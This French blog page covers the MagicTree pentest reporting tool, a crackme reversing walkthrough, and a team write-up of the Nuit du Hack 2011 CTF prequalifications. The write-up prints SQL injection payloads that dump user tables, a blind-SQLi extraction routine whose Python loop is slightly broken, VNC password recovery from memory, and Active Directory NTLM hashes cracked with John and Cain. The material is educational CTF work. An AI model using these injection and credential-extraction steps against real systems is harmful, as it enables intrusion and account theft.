MagicTree, consolider et rapporter les données d’un pentest

MagicTree (Gremwell) est un outil permettant de consolider les données d’un pentest et générer de beaux rapports que les clients apprécient par dessus tout. Il est développé en Java et voici quelques unes de ses fonctionnalités :

  • Créer automatiquement  des noeuds à partir de plages d’adresses réseaux ;
  • Glisser/déposer des objets de l’arbre ;
  • Exécution de commandes Nmap, Nikto … directement depuis MagicTree ;
  • Importer des résultats d’autres outils comme Nessus ;
  • Classement des résultats par criticité ;
  • Générer des rapports en .odt, .docx.
  • etc…

Téléchargement & Installation

http://www.gremwell.com/download

Windows

Il s’agit d’un simple fichier .jar donc il suffit de l’exécuter en ayant préalablement installé Java.

Linux

$ mkdir -p /pentest/magictree/
$ cd /pentest/magictree/
$ wget http://www.gremwell.com/snapshots/1492.bd2cf0ecad8504a3c0fa900874a777fe/MagicTree-1492.jar
$ java -jar MagicTree-1492.jar

Utilisation

Rien ne vaut une petite vidéo pour voir un peu comment ça fonctionne (Anglais):

Posté dans Pentest par Romain. Aucun Commentaire

Writeup RCE100 préqualifications NDH 2k11

Article écrit par Le_MaLaDe. Merci à lui 🙂

Dans cette épreuve, nous avons un simple crackme avec un code à rentrer nous indiquant si le mot de passe inséré est bon ou non.

Ouvrons donc ce crackme au moyen d’un debugger, ici OllyDbg.

On remarque très vite que le binaire est packé. On le voit quand on arrive en 00466D90 au début du programme.

On entre dans une routine de décompression (fin en 00466F1B).

On pose donc un breakpoint en sélectionnant la ligne et en appuyant sur F2. On lance le soft pour le laisser se décompresser en appuyant sur F9. OllyDbg s’arrête donc à la fin de la décompression et nous redirige vers le début du soft.

Il suffit ensuite d’avancer dans le programme pas à pas en appuyant sur la touche F8. Arrivé en 0041E48A, nous sommes en zone de données.

Pour avoir le code lisible il suffit de faire un clic-droit, puis Analysis, et Analyse code.

Partons maintenant à la recherche de la routine de vérification du code ou quelque chose qui pourrait nous intéresser. Un clic-droit, Search for, All referenced strings pour avoir des indices. Nous ne pouvons pas chercher de texte sur le bon message comme il s’agit d’une image. On voit tout de même le texte du bouton Login et Quit. Si on double-clique sur Login on arrive en 0041EE48.
On descend rien de spécial… On remonte, on tombe sur un PostQuitMessage, on remonte un peu et on tombe sur quelque chose d’intéressant !

De l’imul, du sub, il pourrait bien s’agir d’une routine de calcul ! On pose donc un breakpoint en 0041EC50, on lance le soft mais ça s’arrête de suite… Par contre si on pose un point d’arrêt à la fonction juste en-dessous en 0041ECB0 on s’arrête bien quand on valide.
Le soft va donc récupérer le code, et on voit ensuite qu’on fait bien appel à notre fonction en 0041EC50, celle-ci hashe notre code entré, et le compare à 0xC4B1801C, si c’est égal, on affiche le bon message.

Nous allons donc recoder la fonction de hash pour comparer le code à ce qu’il faut obtenir, à savoir 0xC4B1801C.
Comme il s’agit d’une fonction de hash, elle n’est donc pas réversible (des multiplications en fonction des caractères saisis…), il faudra donc brute-forcer, c’est-à-dire tester toutes les possibilités jusqu’à ce que ça corresponde au code.
En gros, la routine initialise ESI à 0xDEADBEEF, et débute une boucle.

Début de la boucle en prenant chaque caractère dans EAX

ESI = ESI * 0x38271606
EAX = EAX * 0X5B86AFFE
EAX = EAX – ESI
ESI = EAX
Fin de la boucle
EAX = ESI

Voici le code python qui nous génèrera tout ça : Lien_Code_RCE100

Il est possible d’utiliser les librairies de python pour faire le brute-force, mais le but était de montrer l’algo.
Une fois lancé, on patiente… et on obtient pWn3D.

Posté dans Evènements par Nico. Aucun Commentaire

Writeup préqualifications NDH 2k11

 


Ce week-end et ce durant 48 heures, a eu lieu les pré-qualifications pour le CTF de la Nuit Du Hack 2011. Plus de 237 équipes se sont inscrites afin de se confronter autour de 12 épreuves regroupées dans 4 domaines à savoir :

  1. La Cryptographie ;
  2. L’analyse forensique ;
  3. Les vulnérabilités Web ;
  4. La retro-ingénierie.

Chaque équipe se voyait attribuer des points pour chaque épreuve résolue (variable suivant la difficulté) incluant un bonus pour l’équipe ayant résolu en premier l’épreuve.

J’ai participé à ce CTF avec l’équipe Zenk-Security (nico34, Kr0ch0u, bufferoverfl0w, joanelis, Le_Malade, shp, ezano, Tr00ps, Saiketsu, strepoetlo, Debaser, et moi-même).

Bien qu’ayant commencé pas trop mal, nous avons fini à la 20ème place avec 8 épreuves sur  12 réussies.

Voici donc le Writeup écrit par nico34, Kr0ch0u, Debaser, bufferoverfl0w (gros bisous de poneys à eux) et moi-même, suivi de liens vers d’autres solutions.

!!! Here We Go !!!!

1) CRYTPO100

Dans un premier temps, il fallait reconnaitre le chiffrement. En analysant un peu, nous avons remarqué que certaines lettres et ponctuations revenaient assez régulièrement. L’habitude des CTF a fait que nous avons tout de suite pensé à du Vigenère (assez classique) :

NFPTF WAWMG SSCQY AMG CDCI, WIT TWFAIEVLAUHG GYGMICMWHI GFPZMUHCK KPLGL ZWHTRRVPA RRE, LPCT GPH JBDRTWZ ZMFWJ GPVIWMK. OAXIKJQIF PVA CXEFI KUEMVP PXWHO, ESCV JTZSGJW MQSCTGCKC SNW DYKWXTZV AZMFVZOJX, BPUMY BYJ GB MXVCD, KPZBL JSWXPZUPA PNELQ SBOX. WMMEIEFPAWR UTCAXFTWIOT PVEACW NTTS JM. ALWKU RSEXHTPVU VQI LOAMWH TVRV BB, XVPTGSNBE PGLTQ RNPYYNO, ZB PM DSEKYAPLU HZGH CK CABH, XEYHP HFPLK ERPVYC OSYIFUIMJ GA CVAC, DMCMSD IM MTH. CGJBYF ORSGBG DGWFTVZUXCI FKK NTWS DIV YI, WLUWMRQKJQT NH QIJGTRKWT AGRNVPXLEFI, WN SMTVBUWG XFJJMDLX VCVRZUZQQ NPKC CNBN QGFAMJ, GYIX FGD GS KWDYK GPYIKZ. XVBKE NGHWY, SVCD RVE WPEEGKPP GCY, TJYIMLO WWVGC DCING ASJNP EIEB QH QQCMG, VCCTGLXW CGV, NVVPXGAEO L…

On insère notre chiffré sur le site suivant : http://smurfoncrack.com/pygenere/pygenere.php

En insérant une clé de 1-18 et en choisissant la langue française, le site nous indiquait la valeur de cette clé qui n’était autre que le flag permettant de valider l’épreuve :

2) WEB100

Dans cette épreuve, nous avons accès à une page Web qui nous demande un couple login/password :

http://wtfbbq.prequals.nuitduhack.com/

Plus bas nous avons accès à une page permettant de s’enregistrer :

http://wtfbbq.prequals.nuitduhack.com/inscription.php

Nous devons créer un compte afin d’accéder à l’espace membre qui, après nous être connecté, nous affiche ceci :

L’astuce ici est qu’il faut s’apercevoir que lorsque l’on utilise l’option « Remember Me » de la page de connexion, nous pouvons voir qu’un cookie du nom de « user_cookies » se forme ayant pour contenu un code en base64 : YToyOntpOjA7czozMjoiZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiO2k6MTtzOjc6IndyaXRldXAiO30

En décodant ce base64, nous obtenons ceci :

a:2:{i:0;s:32: »e10adc3949ba59abbe56e057f20f883e »;i:1;s:7: »writeup »;}

De là, il est nécessaire reconnaitre la fonction serialize de PHP. La sortie nous indique :

  • a:2: : un tableau de deux éléments ;
  • i:0 : le premier élément du tableau ;
  • s:32: »e10adc3949ba59abbe56e057f20f883e » : la longueur du premier élément puis sa valeur; ici le hash md5 du password « 123456 » ;
  • i:1 : le deuxième élément du tableau ;
  • s:7 : »writeup » : la longueur du deuxième élément puis sa valeur; ici le login « writeup » ;

En essayant de comprendre le code qui tournait derrière, nous en avons conclu qu’il reprenait ce cookie pour faire une comparaison avec le vrai password. Or si nous retournons un booléen de type true, la comparaison sera forcément vrai et nous pourrons nous connecter sur n’importe quel compte.

Après avoir testé les différents comptes (admin,administrateur,administrateur,root…), nous avons trouvé qu’une injection sql était possible via le deuxième élément de fonction serialize, c’est à dire le login.

Voici un script permettant d’automatiser l’injection : Web100_sqli.php

Rapidement nous plaçons nos injections en paramètres :

$ php injection.php « -4’ORDER BY 7# »
$ php injection.php « -4’union all select 0,0,group_concat(schema_name),0,0,0 from information_schema.schemata# »
$ php injection.php « -4’union all select 0,0,group_concat(table_name),0,0,0 from information_schema.tables where table_schema=’prequals_web1’# »
$ php injection.php « -4’union all select 0,0,group_concat(column_name),0,0,0 from information_schema.columns where table_name=’utilisateurs’# »
$ php injection.php « -4’union all select 0,0,group_concat(id_user,0x3a,login,0x3a,pass,0x3a,nom,0x3a,prenom,0x3a,privilege),0,0,0 from utilisateurs
where privilege!=’user’# »

W00t, on a le compte admin 🙂

3) WEB200

Cette épreuve était assez amusante car elle nous rappelait la bonne vieille image de drop database des radars fixe :

Dans cette épreuve, nous accédons à une page comprenant un formulaire d’upload :

Après plusieurs tentatives, nous nous sommes rendu compte que la source était disponible à l’adresse suivante :

http://ziggyzag.prequals.nuitduhack.com/form.php~

À l’heure actuelle nous ne savons pas si cette erreur était voulue ou non car le lien n’est plus accessible. Néanmoins, nous avons pensé à faire un backup de la source qui est accessible ici.

EDIT : d’après le staff, ces fichiers temporaires sont apparus après la restauration du backup des épreuves : voir l’explication.

Le code convertit l’image en .tif puis récupère le texte présent à l’aide de tesseract.

La requête SQL n’étant pas protégée,  nous avons injecté des requêtes via les images suivantes :

List of infractions found for: ‘OR’1’=1– –

* Pissed on the motorway
* Showed ass to police
* 200kmh in town
* 5g/L !!!
* No driving license
* No seatbelt
* Incorrect usage of car
* Driver error
* Too old to drive
* almost..
* Parking in a handicap spot !
* Biking on motorway..
* Prostitute assault on Paris ring road
* Racing on the motorway is forbidden !
* insane driving !! WTF ??!!
* Thinks he’s in Need for speed
* Laughing at policemen!!!

Tiens, on a réussi à dumper tous les commentaires des images. Continuons donc dans notre lancée en injectant des requêtes permettant de récuperer le contenu des tables, colonnes, etc.

Après un ‘UNION SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where ‘x’=’x nous obtenons la table : POWN3D

Pour finir, en injectant l’image suivante, nous avons obtenu le flag :

4) WEB300

Dans cette épreuve, nous avons accès à une page web qui nous demandait le traditionnel couple login/password ainsi qu’un captcha :

http://ownm3.prequals.nuitduhack.com/

Après quelques tests, on remarque une vulnérabilité de type « full path disclosure » en mettant les paramètres suivants dans une requette POST :

user=a&pass[]=b&userCode=c&connexion=Log+in

Dans le champ password, nous obtenons :

<input type= »password » value= »Warning: trim() expects parameter 1 to be string, array given in /var/www/web300/index.php on line 71″ name= »pass »>

Mais osef, c’est useless 🙂 et après quelques autres tests, on suppose qu’il n’y a pas de SQLi dans le formulaire.

Parallèlement, on essaie de comprendre comment le captcha est généré.

Un code javascript permet de recharger le captcha :

onclick= »document.images.captcha.src=’captcha.php?id=’+Math.round(Math.random(0)*1000)+1″

On  se concentre alors sur la page suivante en jouant avec le paramètre GET id :

http://ownm3.prequals.nuitduhack.com/captcha.php?id=1

Il ne semble pas être possible de faire une injection sur celui-ci. De plus, deux appels consécutifs à cette page avec le même id rendent des images captcha différentes.

Nous constatons qu’une variable pac est stockée à chaque requête dans nos cookies, avec ce qui semblerait être un hash md5.

Nous découvrons également que le cookie pac semble être utilisé au niveau de la page captcha.php dans une requête SQL, et qu’une injection est possible.

En ajoutant une quote et une requête SQL AND on a droit a une jolie Blind SQLi 🙂

pac=a2b66be9d4f02051320c97da8bebab25′ and ‘1’=’1

est une condition VRAIE et l’image du captcha contient un texte aléatoire de 5 caractères.

pac=a2b66be9d4f02051320c97da8bebab25′ and ‘1’=’0

est une condition FAUSSE et l’image du captcha contient le texte ERROR !

Nous allons donc pouvoir utiliser cette injection pour dumper les tables, en se basant sur une analyse OCR de l’image reçue.

Après quelques tentatives infructueuses de reverse du md5 du cookie pac sur différents sites, strepoetlo nous conseille le site :

http://www.md5decrypter.co.uk/ qui nous donne des résultats du type suivant :

a2b66be9d4f02051320c97da8bebab25 MD5 : U4F4B

Merveille ! on constate que le MD5 correspond au texte affiché dans le captcha.

On est donc heureux d’apprendre que l’on n’a pas à faire d’ocr pour savoir quel est le texte du captcha. En cas de condition FAUSSE dans notre Blind SQLi, le serveur retourne une image contenant le texte ERROR et le cookie pac contient le hash MD5 de la string ERROR :

pac=cb5e100e5a9a3e7f6d1fd97512215282

A l’inverse, une condition VRAIE contiendra un cookie différent.

Blind SQL Injection

On applique les techniques de base des Blind SQL Injections sur MySQL :

  • par dichotomie, on retrouve la longueur de la variable @@version ;
  • on récupère les caractères de la variable @@version un à un en itérant sur la fonction  ASCII(SUBSTRING(@@version, idx, 1)).

Pour récupérer le code ASCII de chaque caractère, on procède encore par dichotomie (charset ASCII entre 0 et 128, soient 8-9 itérations par caractères).
A ce moment, on se rend compte que le serveur lag vraiment et que si l’on souhaite dumper l’intégralité de la base de donnée, on risque de dépasser la fin de la prequal ^_^.

On essaie alors d’optimiser notre script en utilisant une technique sympa, partagée quelques jours avant par mortis.

Les versions de MySQL supérieures à 5 (cela tombe bien, c’est le cas ici) possède un opérateur bitwise shift right ( >> ).

On sait que le charset ASCII utilise 7 bits, le huitième est à 0. Si on test chaque caractère bit à bit, on gagne une itération par caractère, et mine de rien, ce n’est pas négligeable !

def shr(function):
«  » »
Using function(idx, val) as oracle saying if the idx-shifted value of
ascii code is equal to val, shr finds this code.
@param function oracle that says if idx-shifted value of ascii
code is equals to val
@return character
«  » »
val = 0;
idxList = range(7);
idxList.reverse();
for idx in l:
if function(idx, val) != True:       # sql >> idx != val => sql >> idx = v
val += 1
if idx != 0:
val <<= 1;
return chr(val);

On commence alors a dumper le nom des tables avec une jolie injection (SELECT table_name from information_schema.tables where table_schema=DATABASE() limit idx, 1) en utilisant cette technique.

On arrete le script au deuxième resultat :

table[0] => codes
table[1] => login

On récupère (avec la méthode dichotomique) le nombre de colonnes que possède la tablelogin‘. On trouve 3. Au lieu de dumper tous les caractères de toutes les colonnes column_name‘ de la tableinformation_schema.columns‘, on va bruteforcer le nom des colonnes.

nico34 nous donne un dictionnaire de 254 entrées, qui semble suffisant pour trouver les trois colonnes :

id
user
pass

Bingo ! On dump les valeurs des colonnes « user » et « pass » pour id=0.

On voit que la colonne user contient la valeur hackme, c’est bon signe, non ?

Il ne reste plus qu’à appliquer le même principe sur le mot de passe et c’est gagné (comme le dit si bien notre chère et tendre Dora l’exploratrice >_<).

Extraits des codes utiles (ou pas) à l’épreuve :

http://paste.braindead.fr/index.php/view/61182337 : orc, pas utile pour valider, mais on l’a écrit avant de trouver l’astuce sur la correspondance md5 / texte affiché dans le captcha.

http://paste.braindead.fr/index.php/view/99510748 : code de l’exploit final.

Article utile sur les blind SQLi :

http://ghostsinthestack.org/article-11-blind-sql-injections.html

/*
* —————————————————————————-
* « THE BEER-WARE LICENSE » (Revision 42):
* <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
* —————————————————————————-
*/

5)FORENSIC100

Nous avons dans cette épreuve une archive « dump.zip » contenant les fichiers  « dump.raw » et « README » nous indiquant le but de l’épreuve :

===
On a dumpé la RAM d’une machine sur laquelle tournait un serveur VNC. Le but est de recupérer le mot de passe de ce serveur.
===

Essayons d’analyser ce dump via l’outil Volatility :

$python vol.py -f dump.raw imageinfo

Volatile Systems Volatility Framework 1.4_rc1
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/dump.raw)
PAE type : No PAE
DTB : 0xae2000
KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-10 13:28:56
Image local date and time : 2011-03-10 13:28:56
Image Type : Service Pack 2

Nous voyons que la RAM provient d’un système Windows XP. Regardons maintenant la liste des processus :

$python vol.py -f dump.raw pslist

Volatile Systems Volatility Framework 1.4_rc1
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
———- ——————– —— —— —— —— ——————-
0x821c8830 System                    4      0     53    258 1970-01-01 00:00:00
0x81e356d8 smss.exe                544      4      3     21 2011-03-10 13:02:27
0x81e216e8 csrss.exe               608    544     11    319 2011-03-10 13:02:29
0x820ac9c0 winlogon.exe            632    544     19    440 2011-03-10 13:02:29
0x821365b0 services.exe            684    632     16    338 2011-03-10 13:02:30
0x81bce938 lsass.exe               696    632     19    328 2011-03-10 13:02:30
0x82029720 svchost.exe             860    684     17    210 2011-03-10 13:02:31
0x81bd1500 svchost.exe             928    684      9    232 2011-03-10 13:02:31
0x81bf4020 svchost.exe            1020    684     59   1148 2011-03-10 13:02:31
0x81e123c0 svchost.exe            1064    684      4     74 2011-03-10 13:02:31
0x820df548 svchost.exe            1300    684     14    203 2011-03-10 13:02:33
0x81c1d7e8 spoolsv.exe            1472    684     10    108 2011-03-10 13:02:34
0x81fcf620 explorer.exe           1580   1564     11    446 2011-03-10 13:02:34
0x81bb0020 ctfmon.exe             1664   1580      1     66 2011-03-10 13:02:35
0x81d92020 alg.exe                 500    684      6    104 2011-03-10 13:02:58
0x81be8020 wscntfy.exe             532   1020      1     36 2011-03-10 13:02:59
0x81dea980 winvnc4.exe            1696    684      3     67 2011-03-10 13:09:47
0x81f94da0 mmc.exe                1512   1580      7    241 2011-03-10 13:28:14
0x81deb558 wmiprvse.exe           1460    860     13    204 2011-03-10 13:28:33

Nous voyons ici notre beau processus winvnc4.exe avec un pid 1696.

En recherchant sur notre meilleur ami (après Lassie), on apprend que VNC stock les mots de passe dans des clés registre. Voyons cela :

$python vol.py -f dump.raw regobjkeys -p 1696

Volatile Systems Volatility Framework 1.4_rc1
Offset(V)  Type   Pid:   1696
0xe1d64140 Key    MACHINE
0xe10f5a48 Key    MACHINE\SOFTWARE\REALVNC\WINVNC4
0xe1bb4020 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9
0xe19fd500 Key    MACHINE\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5
0xe1a28480 Key    USER

Continuons…

$python vol.py printkey -f dump.raw -K ‘MACHINE\SOFTWARE\REALVNC\WINVNC4’

Volatile Systems Volatility Framework 1.4_rc1
Legend: (S) = Stable   (V) = Volatile

The requested key could not be found in the hive(s) searched

Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: WinVNC4 (S)
Last updated: 2011-03-10 13:10:51

Subkeys:

Values:
REG_BINARY    Password        : (S)
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k

REG_SZ        SecurityTypes   : (S) VncAuth
REG_SZ        ReverseSecurityTypes : (S) None
REG_DWORD     QueryConnect    : (S) 0
REG_DWORD     QueryOnlyIfLoggedOn : (S) 0

Yeah, nous avons le mot de passe en REG_BINARY, trouvons un moyen pour l’avoir en clair (merci google) :

http://packetstormsecurity.org/Crackers/vncdec.c

Après avoir compilé et lancé ce code, nous obtenons : secretpq

6)FORENSIC200

Le fichier README nous indique la chose suivante :

==
On a dumpé le fichier ntds.dit d’une machine exécutant un Active Directory. Il faut recuperer le mot de passe du compte john.
==

Prenons notre pelle (plus rapide qu’un poney selon kr0ch0u) Google afin de trouver quelques informations sur la manière dont lire ou insérer notre fichier sur un serveur Windows.

On tombe rapidement sur un article nous indiquant la manière dont charger notre fichier sur un Active Directory offline (windows 2008 server).

N’ayant pas de 2008 sous la main, kr0ch0u a commencé à le télécharger mais voyant que cela allez prendre des heures, nous avons abandonné cette idée.

C’est à ce moment qu’un Monsieur du pseudo de Joanelis nous indique que c’est bon, il a obtenu les hash via « passcap » :

Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:Compte d’utilisateur d’administration:
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
Administrateur:500:NO PASSWORD*********************:726a36acb62f51ecee698e66fc118683:NT history hash:
Administrateur:500:NO PASSWORD*********************:fbbf55d0ef0e34d39593f55c5f2ca5f2:NT history hash:
Invit?:501:NO PASSWORD*********************:NO PASSWORD*********************:Compte d’utilisateur invit?:
SUPPORT_388945a0:1001:NO PASSWORD*********************:30d4a2ef16deff366bd4b9f010b1bd26:Ceci est le compte d’un fournisseur pour les service Aide et support:
SYSDREAM-TTXW4P$:1005:NO PASSWORD*********************:6580b1de7daec96c9d98dbcd2f63f527::
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:Compte de service du centre de distribution de cl?s:
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:NO PASSWORD*********************:LM history hash:
krbtgt:502:NO PASSWORD*********************:b316ba9fe983951bfae8262757aa6f18:NT history hash:
john:1108:615a367ca6280c40b4c08420b3143e50:3fb89706895e92798aeda7a399a6c417::
john:1108:615a367ca6280c40b4c08420b3143e50:NO PASSWORD*********************:LM history hash:
john:1108:NO PASSWORD*********************:3fb89706895e92798aeda7a399a6c417:NT history hash:

Balançons un coup de john sur john ^_^

Apres quelques heures on arrive enfin a trouver le clair : TGYD7OE25G
Malheureusement, ceci n’est pas le flag permettant de valider l’épreuve ! 🙁

Testons avec « Cain« … un petit coup de magie vaudou et hop : TgYD7oE25g

7)FORENSIC300

Dans l’intitulé de l’épreuve, on nous parle d’un ministère ayant été attaqué et que notre but est de comprendre ce qui s’est passé.

On nous donne une archive zip contenant  « DumpRAM_CTF.vmem » (on sait qu’il s’agit de la RAM a analyser).

Reprenons donc notre Volatility :

$python vol.py -f DumpRAM_CTF.vmem imageinfo

Suggested Profile(s) : Win7SP1x86, Win7SP0x86
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/user/tmp/ndh/forensic1/forensic100/Desktop/Volatility-1.4_rc1/DumpRAM_CTF.vmem)
PAE type : No PAE
DTB : 0x185000
KDBG : 0x8276ebe8L
KPCR : 0x8276fc00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-31 14:41:00
Image local date and time : 2011-03-31 14:41:00
Image Type :

Cette fois-ci, nous avons du Windows 7

Voyons du côté des processus :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 pslist

WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
———- ——————– —— —— —— —— ——————-
0x839af898 System                    4      0     70    434 2011-03-31 14:38:10
0x84c01d40 smss.exe                216      4      2     29 2011-03-31 14:38:10
0x84ea8030 csrss.exe               304    296      8    310 2011-03-31 14:38:18
0x84688d40 wininit.exe             340    296      3     79 2011-03-31 14:38:19
0x84f23d40 csrss.exe               352    332      7    169 2011-03-31 14:38:19
0x84f8f098 winlogon.exe            392    332      4    112 2011-03-31 14:38:20
0x84fa8b20 services.exe            416    340      9    185 2011-03-31 14:38:20
0x84fb4030 lsass.exe               424    340      8    462 2011-03-31 14:38:21
0x84fb6030 lsm.exe                 432    340     10    141 2011-03-31 14:38:21
0x84fd9bc0 svchost.exe             556    416     13    354 2011-03-31 14:38:23
0x85031158 svchost.exe             632    416      7    218 2011-03-31 14:38:24
0x851757e0 svchost.exe             676    416     20    408 2011-03-31 14:38:25
0x851d5030 svchost.exe             800    416     19    401 2011-03-31 14:38:28
0x851d06a8 svchost.exe             832    416     34    902 2011-03-31 14:38:28
0x85204620 svchost.exe             944    416     13    265 2011-03-31 14:38:29
0x847ced40 dwm.exe                1080    800      4     70 2011-03-31 14:38:31
0x8521c030 svchost.exe            1140    416     16    365 2011-03-31 14:38:32
0x852519e8 spoolsv.exe            1276    416     14    281 2011-03-31 14:38:34
0x8525e910 svchost.exe            1312    416     22    311 2011-03-31 14:38:34
0x85266d40 taskhost.exe           1324    416     11    166 2011-03-31 14:38:34
0x8529d4f0 sppsvc.exe             1664    416      4    146 2011-03-31 14:38:39
0x848a7030 explorer.exe           2004   1992     24    591 2011-03-31 14:38:55
0x84e9f6c8 rundll32.exe            356    300      4     66 2011-03-31 14:38:57
0x85380030 rundll32.exe            500    332      4     66 2011-03-31 14:38:57
0x85389478 rundll32.exe            496    504      4     67 2011-03-31 14:38:58
0x84df1b70 SearchIndexer.         1528    416     14    605 2011-03-31 14:39:05
0x839d7830 cmd.exe                1392   2004      1     23 2011-03-31 14:39:39
0x8517c800 conhost.exe            1380    352      3     57 2011-03-31 14:39:40
0x853ebb30 mscorsvw.exe            188    416      6     77 2011-03-31 14:40:38
0x853ea030 svchost.exe             668    416     13    315 2011-03-31 14:40:40
0x83ace030 nc.exe                 1720   1392      2     72 2011-03-31 14:40:41

Le fichier nc.exe nous a paru intéressant. Commençons donc par le dumper et voyons ce que ça donne dans un éditeur hexadécimal :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 -p 1720 procmemdump -D out/

WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
************************************************************************
Dumping nc.exe, pid:   1720 output: executable.1720.exe

En parcourant l’hexa, nous sommes tombés  sur  le flag suivant : Secret pass is H4x0r.

Malheureusement, c’était un faux flag.

Continuons en regardant du côté des connexions :

$python vol.py -f DumpRAM_CTF.vmem –profile=Win7SP1x86 netscan

Offset     Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
WARNING : volatility.obj      : Unable to find a type for pointer64, assuming int
0x1e4f5930 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe
0x1e4f5930 TCPv6    :::49156                       :::0                 LISTENING        416      services.exe
0x1e757008 TCPv4    192.168.163.216:139            0.0.0.0:0            LISTENING        4        System
0x1e764b88 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe
0x1e764b88 TCPv6    :::135                         :::0                 LISTENING        632      svchost.exe
0x1e76ca58 TCPv4    0.0.0.0:135                    0.0.0.0:0            LISTENING        632      svchost.exe
0x1e76ebc8 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe
0x1e76ebc8 TCPv6    :::49152                       :::0                 LISTENING        340      wininit.exe
0x1e7872f0 TCPv4    0.0.0.0:49152                  0.0.0.0:0            LISTENING        340      wininit.exe
0x1e7ca9b0 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe
0x1e7ca9b0 TCPv6    :::49153                       :::0                 LISTENING        676      svchost.exe
0x1e7caf60 TCPv4    0.0.0.0:49153                  0.0.0.0:0            LISTENING        676      svchost.exe
0x1eea5f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe
0x1eea5f60 TCPv6    :::49155                       :::0                 LISTENING        832      svchost.exe
0x1eea6f60 TCPv4    0.0.0.0:49155                  0.0.0.0:0            LISTENING        832      svchost.exe
0x1f07fcc0 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe
0x1f080f60 TCPv4    0.0.0.0:49154                  0.0.0.0:0            LISTENING        424      lsass.exe
0x1f080f60 TCPv6    :::49154                       :::0                 LISTENING        424      lsass.exe
0x1fc482d0 TCPv4    0.0.0.0:49156                  0.0.0.0:0            LISTENING        416      services.exe
0x1fc49560 TCPv4    0.0.0.0:445                    0.0.0.0:0            LISTENING        4        System
0x1fc49560 TCPv6    :::445                         :::0                 LISTENING        4        System
0x1f086df8 TCPv4    192.168.163.216:49158          88.190.230.12:48625  ESTABLISHED      1720     nc.exe
0x1e608d30 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e60d378 UDPv4    0.0.0.0:0                      *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e60d378 UDPv6    :::0                           *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e633198 UDPv4    192.168.163.216:137            *:*                                   4        System         2011-03-31 14:38:46
0x1e75a178 UDPv4    192.168.163.216:138            *:*                                   4        System         2011-03-31 14:38:46
0x1e7c6198 UDPv4    0.0.0.0:5355                   *:*                                   1140     svchost.exe    2011-03-31 14:38:55
0x1e7c6198 UDPv6    :::5355                        *:*                                   1140     svchost.exe    2011-03-31 14:38:55

Tiens, notre nc.exe est connecté a l’adresse IP  « 88.190.230.12 » sur le port « 48625 » , passons donc leur faire un petit coucou 😉

$nc 88.190.230.12 48625

Secret pass is H4x0r
Nice job!

The hash is 9vjgH368$hgHGjh.

8)RCE200

L’archive de cette épreuve contient le fichier « RCE.APK » pouvant être dézippé au moyen de unzip.

Plusieurs fichiers dont un .dex étaient présents en sortie.
Prenons donc l’utilitaire « dex2jar » afin de transformer comme son nom l’indique le .dex en .jar.

Décompilons maintenant ce .jar avec « jd-gui » :

Nous pouvons observer 4 classes : reverseme, a, b, c.

Voyons ce que contient la dernière :

Nous pouvons voir qu’il y a plusieurs chaînes obfusquées par un XOR avec une clé de 0x3C. Lançons le code java suivant afin de récupérer les chaînes désobfusquées :

Lien vers code RCE200

Ok, cassons le MD5 que nous obtenons en sortie « f9dd11ff6857af73ac9a944dfc52f41b« ,  ce qui nous donne le clair suivant :  « salo**« 

L’application ayant été installée sur mon téléphone, elle attendait qu’on lui donne ce mot de passe de vive voix. J’ai donc crié comme un dératé le mot « salo… », ma chérie me prenant surement pour un fou (merci Virtu, je retiens !!!).

Malheureusement, chez moi, l’application n’a rien voulue savoir. Mais ce n’était pas bien grave car le flag était simplement le SHA-1 du mot en question 😉

913beccad686975f8c686d9b3b1ee6bb97c22d6f

Voilà que se termine notre petit Writeup.

En tout cas c’était bien sympathique même si nous n’avons pas réussi 4 épreuves (2 crypto et 2  RCE) parmi les 12 proposées. J’espère qu’il y aura assez de désistement pour que l’on puisse tout de même participer au CTF de la Nuit Du Hack 😉

Merci encore à la Team Zenk !

Liste de WRITEUPS

Backup des épreuves : http://repo.shell-storm.org/CTF/NDH2K11-prequals/
Résumé côté organisateurs : http://crashfr.thehackademy.net/resume-prequals-nuit-du-hack-2011

Disekt Writeup : http://disekt.inetric.com/taxonomy/term/68
